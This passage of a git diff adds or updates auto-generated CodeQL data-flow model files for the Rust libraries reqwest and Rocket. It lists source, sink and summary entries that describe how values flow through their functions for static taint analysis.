"ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::source", "Argument[self].Field[crate::dns::hickory::HickoryDnsSystemConfError(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::dns::resolve::DnsResolverWithOverrides::dns_resolver]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::dns::resolve::DynResolver::resolver]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_url", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::without_url", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::basic_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::custom_http_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::intercept", "Argument[self].Field[crate::proxy::Proxy::intercept].Field[crate::proxy::Intercept::All(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::intercept", "Argument[self].Field[crate::proxy::Proxy::intercept].Field[crate::proxy::Intercept::Http(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::intercept", "Argument[self].Field[crate::proxy::Proxy::intercept].Field[crate::proxy::Intercept::Https(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_proxy", "Argument[0]", "Argument[self].Field[crate::proxy::Proxy::no_proxy]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_proxy", "Argument[0]", "ReturnValue.Field[crate::proxy::Proxy::no_proxy]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_proxy", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_proxy_scheme", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::previous", "Argument[self].Field[crate::redirect::Attempt::previous]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::status", "Argument[self].Field[crate::redirect::Attempt::status]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url", "Argument[self].Field[crate::redirect::Attempt::next]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::limited", "Argument[0]", "ReturnValue.Field[crate::redirect::Policy::inner].Field[crate::redirect::PolicyKind::Limit(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::as_str", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::support::delay_layer::Delay::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::support::delay_layer::Delay::delay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::layer", "Argument[0]", "ReturnValue.Field[crate::support::delay_layer::Delay::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::layer", "Argument[self].Field[crate::support::delay_layer::DelayLayer::delay]", "ReturnValue.Field[crate::support::delay_layer::Delay::delay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::support::delay_layer::DelayLayer::delay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::support::delay_layer::ResponseFuture::response]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::support::delay_layer::ResponseFuture::sleep]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::addr", "Argument[self].Field[crate::support::delay_server::Server::addr]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_addr", "Argument[0]", "Argument[self].Field[crate::support::server::Http3::addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_addr", "Argument[0]", "ReturnValue.Field[crate::support::server::Http3::addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_addr", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::addr", "Argument[self].Field[crate::support::server::Server::addr]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::as_rustls_crl", "Argument[self].Field[crate::tls::CertificateRevocationList::inner].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::as_rustls_crl", "Argument[self].Field[crate::tls::CertificateRevocationList::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::clone", "Argument[self].Field[crate::tls::ClientCert::Pem::certs].Reference", "ReturnValue.Field[crate::tls::ClientCert::Pem::certs]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::tls::IgnoreHostname::roots]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::tls::IgnoreHostname::signature_algorithms]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::peer_certificate", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::async_impl::body::total_timeout", "Argument[0]", "ReturnValue.Field[crate::async_impl::body::TotalTimeoutBody::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::async_impl::body::total_timeout", "Argument[1]", "ReturnValue.Field[crate::async_impl::body::TotalTimeoutBody::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::async_impl::body::with_read_timeout", "Argument[0]", "ReturnValue.Field[crate::async_impl::body::ReadTimeoutBody::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::async_impl::body::with_read_timeout", "Argument[1]", "ReturnValue.Field[crate::async_impl::body::ReadTimeoutBody::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::error::cast_to_internal_error", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - addsTo: pack: codeql/rust-all extensible: sinkModel @@ -16,8 +385,13 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::patch", "Argument[0]", "transmission", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::post", "Argument[0]", "transmission", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::put", "Argument[0]", "transmission", "df-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::call", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::call", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::blocking::get", "Argument[0]", "transmission", "df-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::blocking::wait::timeout", "Argument[1]", "log-injection", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::get", "Argument[0]", "transmission", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::file", "ReturnValue", "file", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::file", "ReturnValue", "file", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_env", "ReturnValue", "environment", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket.model.yml new file mode 100644 index 000000000000..76cd9d7618e2 --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket.model.yml @@ -0,0 +1,481 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&str as crate::request::from_param::FromParam>::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::catcher::handler::Handler>::handle", "Argument[0]", "Argument[self].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::catcher::handler::Handler>::handle", "Argument[1]", "Argument[self].Parameter[1]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::catcher::handler::Handler>::handle", "Argument[self].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::ext::StreamExt>::join", "Argument[0]", "ReturnValue.Field[crate::ext::Join::b]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::ext::StreamExt>::join", "Argument[self]", "ReturnValue.Field[crate::ext::Join::a]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::form::from_form::FromForm>::init", "Argument[0]", "ReturnValue.Field[crate::form::from_form_field::FromFieldContext::opts]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::form::from_form::FromForm>::push_value", "Argument[1].Field[crate::form::field::ValueField::value]", "Argument[0].Field[crate::form::from_form_field::FromFieldContext::field_value].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::route::handler::Handler>::handle", "Argument[0]", "Argument[self].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::route::handler::Handler>::handle", "Argument[1]", "Argument[self].Parameter[1]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::route::handler::Handler>::handle", "Argument[self].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::info", "Argument[self].Field[0]", "ReturnValue.Field[crate::fairing::info_kind::Info::kind]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::info", "Argument[self].Field[crate::Singleton(0)]", "ReturnValue.Field[crate::fairing::info_kind::Info::kind]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_base", "Argument[self].Field[crate::catcher::catcher::Catcher::base]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_base", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::init", "Argument[0]", "ReturnValue.Field[crate::form::from_form::MapContext::opts]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::init", "Argument[0]", "ReturnValue.Field[crate::form::from_form::MapContext::opts]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::profile", "Argument[self].Field[crate::config::config::Config::profile].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::profile", "Argument[self].Field[crate::config::config::Config::profile]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ca_certs", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::mandatory", "Argument[0]", "Argument[self].Field[crate::config::tls::MutualTls::mandatory]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::mandatory", "Argument[0]", "ReturnValue.Field[crate::config::tls::MutualTls::mandatory]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::mandatory", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::certs", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::key", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::mutual", "Argument[self].Field[crate::config::tls::TlsConfig::mutual].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::prefer_server_cipher_order", "Argument[self].Field[crate::config::tls::TlsConfig::prefer_server_cipher_order]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::to_native_config", "Argument[self].Field[crate::config::tls::TlsConfig::prefer_server_cipher_order]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::tls::listener::Config::prefer_server_order]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_ciphers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_mutual", "Argument[0]", "Argument[self].Field[crate::config::tls::TlsConfig::mutual].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_mutual", "Argument[0]", "ReturnValue.Field[crate::config::tls::TlsConfig::mutual].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_mutual", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_preferred_server_cipher_order", "Argument[0]", "Argument[self].Field[crate::config::tls::TlsConfig::prefer_server_cipher_order]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_preferred_server_cipher_order", "Argument[0]", "ReturnValue.Field[crate::config::tls::TlsConfig::prefer_server_cipher_order]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_preferred_server_cipher_order", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::clone", "Argument[self].Field[crate::cookies::CookieJar::config]", "ReturnValue.Field[crate::cookies::CookieJar::config]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::clone", "Argument[self].Field[crate::cookies::CookieJar::jar].Reference", "ReturnValue.Field[crate::cookies::CookieJar::jar]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::cookies::CookieJar::jar]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[1]", "ReturnValue.Field[crate::cookies::CookieJar::config]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::cookies::CookieJar::config]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::data::capped::Capped::value]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0].Field[crate::form::field::ValueField::value]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::data::capped::Capped::value]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::data::capped::Capped::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[crate::data::capped::Capped::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::complete", "Argument[0]", "ReturnValue.Field[crate::data::capped::Capped::value]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::data::capped::Capped::value]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::is_complete", "Argument[self].Field[crate::data::capped::Capped::n].Field[crate::data::capped::N::complete]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map", "Argument[0].ReturnValue", "ReturnValue.Field[crate::data::capped::Capped::value]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map", "Argument[self].Field[crate::data::capped::Capped::n]", "ReturnValue.Field[crate::data::capped::Capped::n]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map", "Argument[self].Field[crate::data::capped::Capped::value]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::data::capped::Capped::value]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::data::capped::Capped::n]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::data::capped::N::written]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::local", "Argument[0]", "ReturnValue.Field[crate::data::data::Data::buffer]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::peek", "Argument[self].Field[crate::data::data::Data::buffer].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::peek_complete", "Argument[self].Field[crate::data::data::Data::is_complete]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::data::data_stream::StreamReader::inner].Field[crate::data::data_stream::StreamKind::Body(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::data::data_stream::StreamReader::inner].Field[crate::data::data_stream::StreamKind::Multipart(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::data::io_stream::IoStream::kind].Field[crate::data::io_stream::IoStreamKind::Upgraded(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::error::Error::kind]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::kind", "Argument[self].Field[crate::error::Error::kind]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::error::Error::kind]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::shutdown", "Argument[0]", "ReturnValue.Field[crate::error::Error::kind].Field[crate::error::ErrorKind::Shutdown(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::io", "Argument[self].Field[crate::ext::CancellableIo::io].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::ext::CancellableIo::io].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[2]", "ReturnValue.Field[crate::ext::CancellableIo::grace]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[3]", "ReturnValue.Field[crate::ext::CancellableIo::mercy]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::ext::CancellableListener::trigger]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::ext::CancellableListener::listener]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::get_ref", "Argument[self].Field[crate::ext::Chain::first]", "ReturnValue.Field[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::get_ref", "Argument[self].Field[crate::ext::Chain::second]", "ReturnValue.Field[1].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::ext::Chain::first]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::ext::Chain::second]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::ext::Join::a]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::ext::Join::b]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::info", "Argument[self].Field[crate::fairing::ad_hoc::AdHoc::name]", "ReturnValue.Field[crate::fairing::info_kind::Info::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_ignite", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_liftoff", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_request", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_response", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_shutdown", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::try_on_ignite", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::audit", "Argument[self].Field[crate::fairing::fairings::Fairings::failures]", "ReturnValue.Field[crate::result::Result::Err(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::handle_ignite", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_error", "Argument[0].Field[crate::form::error::Error::kind].Field[crate::form::error::ErrorKind::Custom(0)]", "Argument[self].Field[crate::form::context::Context::status]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::status", "Argument[self].Field[crate::form::context::Context::status]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::finalize", "Argument[0].Field[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::form::context::Contextual::context]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::error::Error::kind]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::set_entity", "Argument[0]", "Argument[self].Field[crate::form::error::Error::entity]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::status", "Argument[self].Field[crate::form::error::Error::kind].Field[crate::form::error::ErrorKind::Custom(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_entity", "Argument[0]", "Argument[self].Field[crate::form::error::Error::entity]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_entity", "Argument[0]", "ReturnValue.Field[crate::form::error::Error::entity]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_entity", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_value", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[0]", "ReturnValue.Field[crate::form::error::ErrorKind::Custom(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[0]", "ReturnValue.Field[crate::form::error::ErrorKind::InvalidLength::min]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[0]", "ReturnValue.Field[crate::form::error::ErrorKind::OutOfRange::start]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[1]", "ReturnValue.Field[crate::form::error::ErrorKind::Custom(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[1]", "ReturnValue.Field[crate::form::error::ErrorKind::InvalidLength::max]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[1]", "ReturnValue.Field[crate::form::error::ErrorKind::OutOfRange::end]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::error::ErrorKind::Custom(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::error::Errors(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::error::Errors(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[crate::form::error::Errors(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_value", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::shift", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", 